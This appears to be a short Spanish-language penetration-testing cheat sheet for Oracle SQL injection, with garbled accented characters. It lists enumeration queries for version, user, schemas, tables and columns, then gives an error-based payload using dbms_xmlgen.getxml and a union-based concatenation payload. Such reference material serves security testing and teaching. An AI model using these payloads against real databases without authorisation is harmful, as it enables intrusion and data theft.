Oracle

Enumeraci贸n

Versi贸n

# Versi贸n
SELECT * FROM v$version

Usuarios

# Usuario actual
SELECT user FROM dual

Esquemas

# Listado de esquemas
SELECT owner FROM all_tables GROUP BY owner

Tablas

# Tablas de un esquema
SELECT table_name FROM all_tables where owner='<schema>' ORDER BY table_name

Columnas

# Columnas de una tabla
SELECT column_name, data_type FROM all_tab_columns WHERE table_name='<table>'

Datos

# Datos de una tabla
SELECT * FROM sys.<table>
SELECT * FROM <schema>.<table>

Error-based SQLi

to_char(dbms_xmlgen.getxml('select "'|| (select substr(banner,0,25) from v$version where rownum=1)||'" from sys.dual'))

Union-based SQLi

Obtener informaci贸n dentro de una sola columna

UNION SELECT columna1 || ' - ' || columna2 || ' - ' || columna3 FROM tabla1-- -

脷ltima actualizaci贸n